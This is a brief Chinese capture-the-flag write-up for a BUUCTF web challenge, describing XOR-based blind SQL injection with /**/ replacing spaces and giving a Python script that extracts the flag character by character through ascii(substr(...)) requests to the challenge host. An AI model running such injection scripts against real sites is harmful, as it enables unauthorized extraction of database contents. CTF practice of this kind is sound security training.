前言
最近没时间练习,有点难过,水个wp再睡
思路
异或注入,/**/替代空格
另外,flag不在flag字段里。。。
附上垃圾脚本
import requests
flag = ''
for i in range(50):
for j in range(30,128):
#url = "http://5f9822d4-4260-4bcf-9693-445d1b1a1607.node3.buuoj.cn/?stunum=1^(ascii(substr((database()),{},1))={})^1".format(i,j)
url = "http://5f9822d4-4260-4bcf-9693-445d1b1a1607.node3.buuoj.cn/?stunum=1^(ascii(substr((select/**/group_concat(value)/**/from/**/flag),{},1))={})^1".format(i,j)
if "Hi admin, your score is: 100" in requests.get(url).text:
flag += chr(j)
print(flag)
break
print('over')